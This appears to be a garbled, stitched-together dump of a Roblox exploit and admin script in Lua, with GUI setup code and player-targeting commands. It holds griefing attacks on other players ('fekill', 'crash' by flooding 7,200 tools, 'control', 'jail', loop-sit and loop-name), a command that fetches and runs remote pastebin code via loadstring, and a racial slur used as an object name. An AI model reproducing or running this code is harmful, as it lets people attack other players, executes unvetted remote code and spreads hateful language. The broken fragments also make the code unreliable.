Time.TextXAlignment = Enum.TextXAlignment.Left
appearance.Name = "appearance"
appearance.Parent = ContainerFrame
appearance.BackgroundColor3 = Color3.new(0, 0.8, 1)
appearance.BackgroundTransparency = 1
appearance.BorderColor3 = Color3.new(0.2, 0.8, 0.2)
appearance.Position = UDim2.new(0, 10, 0, 40)
appearance.Size = UDim2.new(0, 100, 0, 20)
appearance.ZIndex = 10
appearance.Font = Enum.Font.ArialBold
appearance.FontSize = Enum.FontSize.Size14
appearance.Text = "Appearance: Loading..."
appearance.TextColor3 = Color3.new(1, 1, 1)
appearance.TextStrokeTransparency = 0
appearance.TextXAlignment = Enum.TextXAlignment.Left
fe.Name = "fe"
fe.Parent = ContainerFrame
fe.BackgroundColor3 = Color3.new(0, 0.8, 1)
fe.BackgroundTransparency = 1
fe.BorderColor3 = Color3.new(0.2, 0.8, 0.2)
fe.Position = UDim2.new(0, 10, 0, 200)
fe.Size = UDim2.new(0, 100, 0, 20)
fe.ZIndex = 10
fe.Font = Enum.Font.ArialBold
fe.FontSize = Enum.FontSize.Size14
fe.Text = "Loading..."
fe.TextColor3 = Color3.new(1, 1, 1)
fe.TextStrokeTransparency = 0
fe.TextXAlignment = Enum.TextXAlignment.Left
maxplayers.Name = "maxplayers"
maxplayers.Parent = ContainerFrame
maxplayers.BackgroundColor3 = Color3.new(0, 0.8, 1)
maxplayers.BackgroundTransparency = 1
maxplayers.BorderColor3 = Color3.new(0.2, 0.8, 0.2)
maxplayers.Position = UDim2.new(0, 10, 0, 160)
maxplayers.Size = UDim2.new(0, 100, 0, 20)
maxplayers.ZIndex = 10
maxplayers.Font = Enum.Font.ArialBold
maxplayers.FontSize = Enum.FontSize.Size14
maxplayers.Text = "Loading..."
maxplayers.TextColor3 = Color3.new(1, 1, 1)
maxplayers.TextStrokeTransparency = 0
maxplayers.TextXAlignment = Enum.TextXAlignment.Left
name.Name = "name"
name.Parent = ContainerFrame
name.BackgroundColor3 = Color3.new(0, 0.8, 1)
name.BackgroundTransparency = 1
name.BorderColor3 = Color3.new(0.2, 0.8, 0.2)
name.Position = UDim2.new(0, 10, 0, 180)
name.Size = UDim2.new(0, 100, 0, 20)
name.ZIndex = 10
name.Font = Enum.Font.ArialBold
name.FontSize = Enum.FontSize.Size14
name.Text = "Place: Loading..."
name.TextColor3 = Color3.new(1, 1, 1)
name.TextStrokeTransparency = 0
name.TextXAlignment = Enum.TextXAlignment.Left
placeid.Name = "placeid"
placeid.Parent = ContainerFrame
placeid.BackgroundColor3 = Color3.new(0, 0.8, 1)
placeid.BackgroundTransparency = 1
placeid.BorderColor3 = Color3.new(0.2, 0.8, 0.2)
placeid.Position = UDim2.new(0, 10, 0, 220)
placeid.Size = UDim2.new(0, 100, 0, 20)
placeid.ZIndex = 10
placeid.Font = Enum.Font.ArialBold
placeid.FontSize = Enum.FontSize.Size14
placeid.Text = "Place ID: Loading..."
placeid.TextColor3 = Color3.new(1, 1, 1)
placeid.TextStrokeTransparency = 0
placeid.TextXAlignment = Enum.TextXAlignment.Left
playerid.Name = "playerid"
playerid.Parent = ContainerFrame
playerid.BackgroundColor3 = Color3.new(0, 0.8, 1)
playerid.BackgroundTransparency = 1
playerid.BorderColor3 = Color3.new(0.2, 0.8, 0.2)
playerid.Position = UDim2.new(0, 10, 0, 20)
playerid.Size = UDim2.new(0, 100, 0, 20)
playerid.ZIndex = 10
playerid.Font = Enum.Font.ArialBold
playerid.FontSize = Enum.FontSize.Size14
playerid.Text = "Player ID: Loading..."
playerid.TextColor3 = Color3.new(1, 1, 1)
playerid.TextStrokeTransparency = 0
playerid.TextXAlignment = Enum.TextXAlignment.Left
players.Name = "players"
players.Parent = ContainerFrame
players.BackgroundColor3 = Color3.new(0, 0.8, 1)
players.BackgroundTransparency = 1
players.BorderColor3 = Color3.new(0.2, 0.8, 0.2)
players.Position = UDim2.new(0, 10, 0, 140)
players.Size = UDim2.new(0, 100, 0, 20)
players.ZIndex = 100
players.Font = Enum.Font.ArialBold
players.FontSize = Enum.FontSize.Size14
players.Text = "Loading..."
players.TextColor3 = Color3.new(1, 1, 1)
players.TextStrokeTransparency = 0
players.TextXAlignment = Enum.TextXAlignment.Left
local SINFOGUI = ContainerFrame
drag:TweenPosition(UDim2.new(0.5, -150, 0, 100), "InOut", "Quart", 0.5, true, nil)
SINFOGUIopen = true wait(0.5)
local Asset = game:GetService("MarketplaceService"):GetProductInfo(game.PlaceId)
SINFOGUI.name.Text = "Place: " .. Asset.Name
Exit.MouseButton1Click:Connect(function()
drag:TweenPosition(UDim2.new(0.5, -150, 0, -400), "InOut", "Quart", 0.5, true, nil)
Instance.new("Smoke",char.HumanoidRootPart).Color = Color3.new(0,0,0)
char:BreakJoints()
end)
end
end)
LightEnabled = true
coroutine.wrap(function()
repeat
wait(TickWait)
LightEnabled = not LightEnabled
Light.Enabled = LightEnabled
Beep:Play()
until Dead == true or Char:FindFirstChild("Bomb") == nil
end)()
wait(10)
if Dead == false then
Dead = true
ExplodeSound:Play(); wait(1.4)
local Explosion = Instance.new("Explosion")
Explosion.Position = Belt.Position
Explosion.BlastPressure = 100000
Explosion.DestroyJointRadiusPercent = 0.7
Explosion.ExplosionType = "CratersAndDebris"
Explosion.BlastRadius = 50
Explosion.Parent = workspace
end
end)
end
end)
user=players.LocalPlayer;
uname=user.Name;
guis=user.PlayerGui;
pack=user.Backpack;
keyDowns={};
freeKeys={};
shortcuts={};
_G.mine=_G.mine or{};
name='Draw3D';
url='http://www.roblox.com/asset/?id=%d';
iconNormal=url:format(96578285);
iconOnDown=url:format(96584484);
ver=0;
drawPixel=0.10;
_G.drawLimit=_G.drawLimit or 1000;
_G.drawColor=_G.drawColor or Color3.new();
destroy=game.remove;
find=game.findFirstChild;
new=Instance.new;
with=function(c)
return function(p)
local o=type(c)=='string'and new(c)or c;
local x=p.Parent;p.Parent=nil;
for i,v in next,p do
o[i]=v;
end;
if(x)then
o.Parent=x;
end;
return o;
end;
end;
getPlace=function()
if(find(workspace,'draw')==nil)then
new('Model',workspace).Name='draw';
end;
if(find(workspace.draw,uname)==nil)then
new('Model',workspace.draw).Name=uname;
end;
return workspace.draw[uname];
end;
drawLine=function(start,target)
local gui=with'BlockMesh'{
Parent=with'Part'{
CFrame=CFrame.new(start,target)*CFrame.new(0,0,-(start-
target).magnitude/2);
Size=Vector3.new(drawPixel,drawPixel,(start-
target).magnitude+.325*drawPixel);
Parent=getPlace();
Color=_G.drawColor;
BottomSurface=0;
Anchored=true;
TopSurface=0;
formFactor=3;
Name=name;
}}.Parent;
table.insert(_G.mine,gui);
return gui;
end;
onDown=function()
if(drawing)then
return nil;
end;
if(selectGui.Adornee)then
destroy(selectGui.Adornee);
end;
drawing=true;
mouse.Icon=iconOnDown;
ver=ver+1;
local cVer,start,target=ver,mouse.hit.p;
local group={};
repeat
Wait(0.02);
target=mouse.hit.p;
table.insert(group,drawLine(start,target));
start=target;
end;
until ver~=cVer;
drawing=false;
local groupM=new('Model',getPlace());
for i,v in next,group do
if(v:IsDescendantOf(Workspace))then
v.Parent=groupM;
end;
end;
if(next(groupM:children())==nil)then
destroy(groupM);
end;
end;
onUp=function()
mouse.Icon=iconNormal;
ver=ver+1;
end;
onKeyDown=function(k)
if(freeKeys[k]==false)then
return false;
end;
freeKeys[k]=false;
Wait(0.01);
if(keyDowns[k])then
keyDowns[k]();
elseif(shortcuts[k])then
shortcuts[k]();
end;
end;
onKeyUp=function(k)
freeKeys[k]=true;
end;
onMove=function()
end;
onSelect=function(lmouse)
frame.Visible=true;
mouse=lmouse;
mouse.Icon=iconNormal;
mouse.Button1Down:connect(onDown);
mouse.KeyDown:connect(onKeyDown);
mouse.Button1Up:connect(onUp);
mouse.KeyUp:connect(onKeyUp);
mouse.Move:connect(onMove);
end;
onDeselect=function()
ver=ver+1;
frame.Visible=false;
selectGui.Adornee=nil;
mouse.Icon=iconNormal;
for i,v in next,freeKeys do
freeKeys[i]=true;
end;
end;
addButton=function(title,shortcut,fun)
with'TextButton'{
Text=string.format(' %s (%s)',title,shortcut);
TextXAlignment=0;
Parent=frame;
}.MouseButton1Up:connect(fun);
shortcuts[shortcut]=fun;
local c=#frame:children();
for i,v in next,frame:children()do
v.Position=UDim2.new(0,0,0,20*(i-1));
v.Size=UDim2.new(1,0,0,20);
end;
frame.Position=UDim2.new(1,-152,.5,-c*10);
frame.Size=UDim2.new(0,150,0,c*20);
end;
tool=with'HopperBin'{
Parent=pack;
Name=name;
};
tool.Deselected:connect(onDeselect);
tool.Selected:connect(onSelect);
screen=with'ScreenGui'{
Parent=guis;
Name=name;
};
frame=with'Frame'{
Parent=screen;
Visible=false;
};
clframe=with'Frame'{
Position=UDim2.new(.5,-50,.5,-50);
Size=UDim2.new(0,100,0,100);
Visible=false;
Parent=screen;
};
selectGui=with'SelectionBox'{
Parent=screen;
};
local c=0;
for y=0,7 do
for x=0,7 do
local color=BrickColor.palette(c).Color;
with'ImageButton'{
Position=UDim2.new(.125*x,0,.125*y);
Size=UDim2.new(.125,0,.125);
BackgroundColor3=color;
Parent=clframe;
}.MouseButton1Up:connect(function()
clframe.Visible=false;
_G.drawColor=color;
end);
c=c+1;
end;
end;
addButton('Color','c',function()
clframe.Visible=true;
end);
addButton('Remove your draws','r',function()
repeat
destroy(_G.mine[1]);
table.remove(_G.mine,1);
Wait(0.01);
until nil;
end);
addButton('Remove global draws','k',function()
destroy(workspace.draw);
while(_G.mine[1])do
destroy(_G.mine[1]);
table.remove(_G.mine,1);
end;
end);
addButton('Remove selected','x',function()
repeat
if(find(workspace,'draw'))then
local dt=mouse.target;
if(dt and dt:IsDescendantOf(workspace.draw))then
selectGui.Adornee=dt.Parent;
else
selectGui.Adornee=nil;
end;
else
selectGui.Adornee=nil;
end;
Wait(0.01);
until freeKeys.x;
selectGui.Adornee=nil;
end);
repeat
Wait(0.01);
if(next(_G.mine)and _G.mine[_G.drawLimit])then
destroy(_G.mine[1]);
table.remove(_G.mine,1);
end;
until script.Parent==nil or tool.Parent==nil;
script.Disabled=true;
destroy(screen);
end
end)
addcmd('skygif', 'makes the sky play the IDs you feed it',{},
function(args, speaker)
if args[2] then skyinterval = tonumber(args[2]) else skyinterval = 0.05 end
playinggif = false
wait(0.5)
local GIF = splitString(args[1])
for _, child in pairs( gLighting:GetChildren()) do
if child.ClassName == "Sky" then
child:Destroy()
end
end
Sky = Instance.new("Sky",game.Lighting)
Notify('Loading...')
playinggif = true
for N,F in ipairs(GIF) do
game:GetService("ContentProvider"):Preload("http://www.roblox.com/asset/?
id="..F)
end
gLighting.TimeOfDay = 12
Notify('Playing skybox')
playinggif = true
wait(0.5)
repeat
for N,F in ipairs(GIF) do
Sky.SkyboxBk = "http://www.roblox.com/asset/?id="..F- 1
Sky.SkyboxDn = "http://www.roblox.com/asset/?id="..F- 1
Sky.SkyboxFt = "http://www.roblox.com/asset/?id="..F- 1
Sky.SkyboxLf = "http://www.roblox.com/asset/?id="..F- 1
Sky.SkyboxRt = "http://www.roblox.com/asset/?id="..F- 1
Sky.SkyboxUp = "http://www.roblox.com/asset/?id="..F- 1
wait(skyinterval)
end
until playinggif == false
end)
bodyc.HeadColor = BrickColor.new(color)
bodyc.LeftArmColor = BrickColor.new(color)
bodyc.LeftLegColor = BrickColor.new(color)
bodyc.RightArmColor = BrickColor.new(color)
bodyc.RightLegColor = BrickColor.new(color)
bodyc.TorsoColor = BrickColor.new(color)
end
end)
bodyc.HeadColor = BrickColor.new(color)
bodyc.LeftArmColor = BrickColor.new(color)
bodyc.LeftLegColor = BrickColor.new(color)
bodyc.RightArmColor = BrickColor.new(color)
bodyc.RightLegColor = BrickColor.new(color)
bodyc.TorsoColor = BrickColor.new(color)
end
end)
addcmd('delete', 'removes any part with a certain name from the workspace',
{'remove'},
function(args, speaker)
part = GLS(false, 0)
local function dels(instance)
for i,v in pairs(instance:GetChildren())do
if v.Name:lower() == part:lower() then v:Destroy() end
dels(v)
end
end
dels(workspace)
Notify('Deleted ' ..GLS(false, 0))
end)
tex1 = "http://www.roblox.com/asset/?id=185495987"
tex2 = "http://www.roblox.com/asset/?id=260858020"
tex3 = "http://www.roblox.com/asset/?id=149213919"
tex4 = "http://www.roblox.com/asset/?id=171905673"
local w = workspace:GetChildren()
for i= 1,#w do
if w[i]:isA("BasePart") then
pe = Instance.new("ParticleEmitter", w[i])
pe.Texture = tex4
pe.VelocitySpread = 5
end
end
local playerLeaderstats = {}
for i, v in pairs(gPlayers:GetChildren()) do
table.insert(playerLeaderstats, v)
end
for i, v in pairs(playerLeaderstats) do
pe = Instance.new("ParticleEmitter",v.Character.HumanoidRootPart)
pe.Texture = "http://www.roblox.com/asset/?id=171905673"
pe.VelocitySpread = 50
end
texture = "http://www.roblox.com/asset/?id=185495987"
local A = workspace:GetChildren()
local B = workspace:GetChildren()
local C = workspace:GetChildren()
local D = workspace:GetChildren()
local E = workspace:GetChildren()
local F = workspace:GetChildren()
for i,v in pairs(A) do
if v:IsA("Part") then
local d = Instance.new("Decal",v)
v.Decal.Face = "Top"
v.Decal.Texture = texture
v.Anchored = true
end
end
imageOne = "http://www.roblox.com/asset/?id=169585459"
imageTwo = "http://www.roblox.com/asset/?id=169585475"
imageThree = "http://www.roblox.com/asset/?id=169585485"
imageFour = "http://www.roblox.com/asset/?id=169585502"
imageFive = "http://www.roblox.com/asset/?id=169585515"
imageSix = "http://www.roblox.com/asset/?id=169585502"
imageSeven = "http://www.roblox.com/asset/?id=169585485"
imageEight = "http://www.roblox.com/asset/?id=169585475"
while true do
Sky.SkyboxBk = imageOne
Sky.SkyboxDn = imageOne
Sky.SkyboxFt = imageOne
Sky.SkyboxLf = imageOne
Sky.SkyboxRt = imageOne
Sky.SkyboxUp = imageOne
wait(0.15)
Sky.SkyboxBk = imageTwo
Sky.SkyboxDn = imageTwo
Sky.SkyboxFt = imageTwo
Sky.SkyboxLf = imageTwo
Sky.SkyboxRt = imageTwo
Sky.SkyboxUp = imageTwo
wait(0.15)
Sky.SkyboxBk = imageThree
Sky.SkyboxDn = imageThree
Sky.SkyboxFt = imageThree
Sky.SkyboxLf = imageThree
Sky.SkyboxRt = imageThree
Sky.SkyboxUp = imageThree
wait(0.15)
Sky.SkyboxBk = imageFour
Sky.SkyboxDn = imageFour
Sky.SkyboxFt = imageFour
Sky.SkyboxLf = imageFour
Sky.SkyboxRt = imageFour
Sky.SkyboxUp = imageFour
wait(0.15)
Sky.SkyboxBk = imageFive
Sky.SkyboxDn = imageFive
Sky.SkyboxFt = imageFive
Sky.SkyboxLf = imageFive
Sky.SkyboxRt = imageFive
Sky.SkyboxUp = imageFive
wait(0.15)
Sky.SkyboxBk = imageSix
Sky.SkyboxDn = imageSix
Sky.SkyboxFt = imageSix
Sky.SkyboxLf = imageSix
Sky.SkyboxRt = imageSix
Sky.SkyboxUp = imageSix
wait(0.15)
Sky.SkyboxBk = imageSeven
Sky.SkyboxDn = imageSeven
Sky.SkyboxFt = imageSeven
Sky.SkyboxLf = imageSeven
Sky.SkyboxRt = imageSeven
Sky.SkyboxUp = imageSeven
wait(0.15)
Sky.SkyboxBk = imageEight
Sky.SkyboxDn = imageEight
Sky.SkyboxFt = imageEight
Sky.SkyboxLf = imageEight
Sky.SkyboxRt = imageEight
Sky.SkyboxUp = imageEight
wait(0.15)
end
end
end)
local WayPoints = {}
addcmd("savepos","sets a waypoint at the speaker's position",{'spos'},
function(args, speaker)
local WPName = tostring(GLS(false, 0))
if speaker.Character:findFirstChild("HumanoidRootPart") then
Notify("Created waypoint: "..GLS(false, 0))
local torso = speaker.Character:findFirstChild("HumanoidRootPart")
WayPoints[#WayPoints + 1] = {NAME = WPName, COORD =
{math.floor(torso.Position.X), math.floor(torso.Position.Y),
math.floor(torso.Position.Z)}}
updatepositions()
end
end)
jumping = {}
addcmd('loopjump','like a bunny :)',{'ljump'},
function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players)do
spawn(function()
if FindTable(jumping, _players[v].Name) then return end
table.insert(jumping, _players[v].Name)
repeat wait(0.01)
if _players[v].Character ~= nil and
_players[v].Character:FindFirstChild("Humanoid") then
if _players[v].Character.Humanoid.Jump ~= true then
_players[v].Character.Humanoid.Jump = true end end
until not FindTable(jumping, _players[v].Name)
end)
end
end)
addcmd('unljump','unjails player',{'noljump','unloopjump','noloopjump'},
function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players)do
spawn(function()
for a,b in pairs(jumping) do if b == _players[v].Name then
table.remove(jumping, a) end end
end)
end
end)
sitting = {}
addcmd('loopsit','very annoying',{'lsit'},
function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players)do
spawn(function()
if FindTable(sitting, _players[v].Name) then return end
table.insert(sitting, _players[v].Name)
repeat wait(0.01)
if _players[v].Character ~= nil and
_players[v].Character:FindFirstChild("Humanoid") then
if _players[v].Character.Humanoid.Sit ~= true then
_players[v].Character.Humanoid.Sit = true end end
until not FindTable(sitting, _players[v].Name)
end)
end
end)
addcmd('unlsit','unjails player',{'nolsit','unloopsit','noloopsit'},
function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players)do
spawn(function()
for a,b in pairs(sitting) do if b == _players[v].Name then
table.remove(sitting, a) end end
end)
end
end)
addcmd('strength',' strong',{},
function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players)do
spawn(function()
for _, child in pairs( _players[v].Character:GetDescendants()) do
if child.ClassName == "Part" then
child.CustomPhysicalProperties = PhysicalProperties.new(100, 0.3, 0.5)
end
end
end)
end
end)
addcmd('weaken',' weak',{},
function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players)do
spawn(function()
for _, child in pairs( _players[v].Character:GetDescendants()) do
if child.ClassName == "Part" then
child.CustomPhysicalProperties = PhysicalProperties.new(0, 0.3, 0.5)
end
end
end)
end
end)
addcmd('unweaken',' undoes strength and weaken',{'unstrength'},
function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players)do
spawn(function()
for _, child in pairs( _players[v].Character:GetDescendants()) do
if child.ClassName == "Part" then
child.CustomPhysicalProperties = PhysicalProperties.new(0.7, 0.3, 0.5)
end
end
end)
end
end)
oofing = false
addcmd('loopoof','very VERY annoying',{},
function(args, speaker)
oofing = true
repeat wait(0.01)
for i,v in pairs(game:GetService'Players':GetPlayers()) do
if v.Character ~= nil and v.Character:FindFirstChild'Head' then
for _,x in pairs(v.Character.Head:GetChildren()) do
if x:IsA'Sound' then x.Playing = true end
end
end
end
until oofing == false
end)
addcmd('confuse', 'confusing...',{},
function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players) do
spawn(function()
if _char(v):FindFirstChild("Humanoid") then
_char(v).Humanoid.Name = "ConfusedNigga"
while true do
_char(v).ConfusedNigga.CameraOffset = Vector3.new(2, 4, 6)
_char(v).ConfusedNigga.WalkToPoint = Vector3.new(math.random(1,100),
math.random(1,100), math.random(1,100))
wait(0.1)
end
end
end)
end
end)
end
end)
end
end)
function fadelock(id)
if lockic.ImageTransparency ~= 1 then
for i=1, 10 do
lockic.ImageTransparency = lockic.ImageTransparency + 0.1
wait(0.01)
end
lockic.ImageTransparency = 1
end
if id ~= 'off' then
lockic.Image = id
wait(0.2)
for i=1, 10 do
lockic.ImageTransparency = lockic.ImageTransparency - 0.1
wait(0.01)
end
lockic.ImageTransparency = 0
end end
addcmd('iyspam', '/shrug',{},
function(args, speaker)
loadstring(game:HttpGet(('https://pastebin.com/raw/aJ15LAbN'),true))()
end)
addcmd('ambient','changes ambient',{},
function(args, speaker)
LightingService.Ambient = Color3.fromRGB(args[1],args[2],args[3])
LightingService.OutdoorAmbient = Color3.fromRGB(args[1],args[2],args[3])
end)
injail = {}
addcmd('jail','jails player',{},
function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players)do
spawn(function()
if FindTable(injail, _players[v].Name) then return end
table.insert(injail, _players[v].Name)
local pchar=gPlayers[v].Character
local J = DATA.JAIL:Clone() J.Parent = workspace
J:MoveTo(pchar.HumanoidRootPart.Position) J.Name = 'JAIL_' .. _players[v].Name
repeat wait(0.5)
pchar = _players[v].Character if pchar and
pchar:FindFirstChild('HumanoidRootPart') and J:FindFirstChild('MAIN') then
pchar.HumanoidRootPart.CFrame = J.MAIN.CFrame + Vector3.new(0, 1, 0) end
until not FindTable(injail, _players[v].Name)
end)
end
end)
addcmd('unjail','unjails player',{},
function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players)do
spawn(function()
for a,b in pairs(injail) do if b == _players[v].Name then
table.remove(injail, a) end end
workspace["JAIL_" .. _players[v].Name]:Destroy()
end)
end
end)
loopn = {}
addcmd('loopname','loops a players name',{'lname'},
function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players)do
spawn(function()
if FindTable(loopn, _players[v].Name) then return end
table.insert(loopn, _players[v].Name)
local Lname = GLS(false, 1)
local pchar=gPlayers[v].Character
pchar.Name = Lname
if FindTable(SPC, args[1]) then Notify('Looping name for ' ..
args[1] .. ' (only visible to others)') else
Notify('Looping name for player(s) (only visible to others)') end
repeat wait(0.01)
repeat wait() until _players[v].Character
gPlayers[v].Character.Name = Lname
until not FindTable(loopn, _players[v].Name)
end)
end
end)
addcmd('unloopname','unjails player',{'noloopname','unlname','nolname'},
function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players)do
spawn(function()
local pchar=gPlayers[v].Character
for a,b in pairs(loopn) do if b == _players[v].Name then
table.remove(loopn, a) end end
wait(0.5)
if FindTable(SPC, args[1]) then Notify('Stopped looping name for ' ..
args[1]) else
Notify('Stopped looping name for player(s)') end
pchar.Name = gPlayers[v].Name
end)
end
end)
addcmd('feinvisible','fe invisible',{'feinvis'},
function(args, speaker)
-- Elite1337#9377 & Timeless#4044
local function CheckRig()
if Player.Character then
local Humanoid = Player.Character:WaitForChild('Humanoid')
if Humanoid.RigType == Enum.HumanoidRigType.R15 then
return 'R15'
else
return 'R6'
end
end
end
local function InitiateInvis()
local Character = Player.Character
local StoredCF = Character.PrimaryPart.CFrame
local Part = Instance.new('Part',workspace)
Part.Size = Vector3.new(5,0,5)
Part.Anchored = true
Part.CFrame = CFrame.new(Vector3.new(9999,9999,9999))
Character.PrimaryPart.CFrame = Part.CFrame*CFrame.new(0,3,0)
spawn(function()
wait(3)
Part:Destroy()
end)
if CheckRig() == 'R6' then
local Clone = Character.HumanoidRootPart:Clone()
Character.HumanoidRootPart:Destroy()
Clone.Parent = Character
else
local Clone = Character.LowerTorso.Root:Clone()
Character.LowerTorso.Root:Destroy()
Clone.Parent = Character.LowerTorso
end
end
InitiateInvis()
end)
addcmd('unloopbring','unjails player',{'noloopbring'},
function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players)do
spawn(function()
for a,b in pairs(bringT) do if b == _players[v].Name then
table.remove(bringT, a) end end
end)
end
end)
strobe = false
addcmd('strobe','makes the server flash',{'flash'},
function(args, speaker)
if strobe == false then
strobep = Instance.new("ColorCorrectionEffect")
strobep.Brightness = 1
strobep.Parent = LightingService
strobe = true
repeat wait(0.01)
strobep.Enabled = true
wait(0.01)
strobep.Enabled = false
until strobe == false
end
end)
addcmd('fekill','oof?',{},
function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players)do
-- illremember's cool fe kill script
local Target = gPlayers[v].Name
game:GetService("Players").LocalPlayer.Character.Humanoid.Name = 1
local l = game:GetService("Players").LocalPlayer.Character["1"]:Clone()
l.Parent = game:GetService("Players").LocalPlayer.Character
l.Name = "Humanoid"
wait(0.1)
game:GetService("Players").LocalPlayer.Character["1"]:Destroy()
game.Workspace.CurrentCamera.CameraSubject =
game:GetService("Players").LocalPlayer.Character
game:GetService("Players").LocalPlayer.Character.Animate.Disabled = true
wait(0.1)
game:GetService("Players").LocalPlayer.Character.Animate.Disabled = false
game:GetService("Players").LocalPlayer.Character.Humanoid.DisplayDistanceType =
"None"
for i,v in pairs(game:GetService'Players'.LocalPlayer.Backpack:GetChildren())do
game:GetService("Players").LocalPlayer.Character.Humanoid:EquipTool(v)
v.CanBeDropped = true
end
wait(0.1)
game:GetService("Players").LocalPlayer.Character.HumanoidRootPart.CFrame =
game:GetService("Players")[Target].Character.HumanoidRootPart.CFrame
wait(0.1)
game:GetService("Players").LocalPlayer.Character.HumanoidRootPart.CFrame =
game:GetService("Players")[Target].Character.HumanoidRootPart.CFrame
wait(0.2)
game:GetService("Players").LocalPlayer.Character.HumanoidRootPart.CFrame =
CFrame.new(Vector3.new(-10000,-100, -10000))
end
end)
addcmd('crash','crashes a player',{},
function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players)do
if FindTable(WL, gPlayers[v].Name) then Notify('Error: '..gPlayers[v].Name..'
is whitelisted') else
if FindTable(SPC, args[1]) then Notify('Crashed ' .. args[1]) else
Notify('Crashed player(s)') end
wait(4)
if gPlayers[v] ~= nil then
for i=1,3600 do
Instance.new("Tool",gPlayers[v].Backpack).Name = "-"
end
wait()
for i=1,3600 do
Instance.new("Tool",gPlayers[v].Backpack).Name = "-"
end
wait()
end
end
end
end)
Shirt.ShirtTemplate = "rbxassetid://133078194"
Pants.PantsTemplate = "rbxassetid://133078204"
end
end)
addcmd('control','controls player',{},
function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players)do
spawn(function()
local pchar = gPlayers[v].Character
if gPlayers[v] and pchar then
execCmd("invisible " .. speaker.Name)
pchar.Humanoid.PlatformStand = true
local w = Instance.new("Weld", speaker.Character.Torso)
w.Part0 = speaker.Character.Torso
w.Part1 = pchar.Torso
local w2 = Instance.new("Weld", speaker.Character.Head)
w2.Part0 = speaker.Character.Head
w2.Part1 = pchar.Head
local w3 = Instance.new("Weld",
speaker.Character:findFirstChild("Right Arm"))
w3.Part0 = speaker.Character:findFirstChild("Right Arm")
w3.Part1 = pchar:findFirstChild("Right Arm")
local w4 = Instance.new("Weld",
speaker.Character:findFirstChild("Left Arm"))
w4.Part0 = speaker.Character:findFirstChild("Left Arm")
w4.Part1 = pchar:findFirstChild("Left Arm")
local w5 = Instance.new("Weld",
speaker.Character:findFirstChild("Right Leg"))
w5.Part0 = speaker.Character:findFirstChild("Right Leg")
w5.Part1 = pchar:findFirstChild("Right Leg")
local w6 = Instance.new("Weld",
speaker.Character:findFirstChild("Left Leg"))
w6.Part0 = speaker.Character:findFirstChild("Left Leg")
w6.Part1 = pchar:findFirstChild("Left Leg")
char.Head.face:Destroy()
for i,v in pairs(pchar:GetChildren()) do
if v:IsA("BasePart") then
v.CanCollide = false
end
end
for i,v in pairs(char:GetChildren()) do
if v:IsA("BasePart") then
v.Transparency = 1
elseif v:IsA("Accessory") then
v:Destroy()
end
end
pchar.Parent = char
pchar.Humanoid.Changed:connect(function()
pchar.Humanoid.PlatformStand = true
end)
end
end)
end
end)
gLighting.Brightness = 5
gLighting.Ambient = Color3.new(1,0.5,0.5)
gLighting.OutdoorAmbient = Color3.new(1,1,1)
local Exp = Instance.new("Explosion", workspace)
Exp.Position = Pos.p
Exp.BlastPressure = 10000000
Exp.BlastRadius = 1000000
Exp.Hit:connect(function(Part)
if Part.Name ~= "Base" and Part.Name ~= "BasePlate" and Part ~= Blast
and Part ~= Wave and Part.Name ~= "BlastEx" and Part.Name ~= "WaveEx" then
ypcall(function()
Part.Anchored = false
Part.BrickColor = BrickColor.new("Black")
Part.Material = "Slate"
Part:BreakJoints()
end)
end
end)
addcmd('infect','infects player',{},
function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players)do
function infect(rip)
local pchar = gPlayers[v].Character
for i,v in pairs(pchar:GetChildren()) do
if v:IsA("Accessory") or v:IsA("Shirt") or v:IsA("Pants")
then
v:Destroy()
end
end
if pchar.Torso:FindFirstChild("roblox") then
pchar.Torso.roblox:Destroy()
end
if pchar.Head:FindFirstChild("face") then
pchar.Head.face.Texture = "http://www.roblox.com/asset/?
id=94634491"
end
if pchar:FindFirstChild("Body Colors") then
local Colors = pchar["Body Colors"]
local Skin = BrickColor.new("Pastel green")
local Clothes = BrickColor.new("Reddish brown")
Colors.HeadColor = Skin
Colors.LeftArmColor = Skin
Colors.RightArmColor = Skin
Colors.LeftLegColor = Clothes
Colors.RightLegColor = Clothes
Colors.TorsoColor = Clothes
end
local w1 = Instance.new("Weld", pchar)
w1.Part0 = pchar["Right Arm"]
w1.Part1 = pchar.Torso
w1.C0 = CFrame.new(-1.5, 0.5, 0.5) *
CFrame.fromEulerAnglesXYZ(math.rad(-90), math.rad(0), math.rad(0))
local w2 = Instance.new("Weld", pchar)
w2.Part0 = pchar["Left Arm"]
w2.Part1 = pchar.Torso
w2.C0 = CFrame.new(1.5, 0.5, 0.5) *
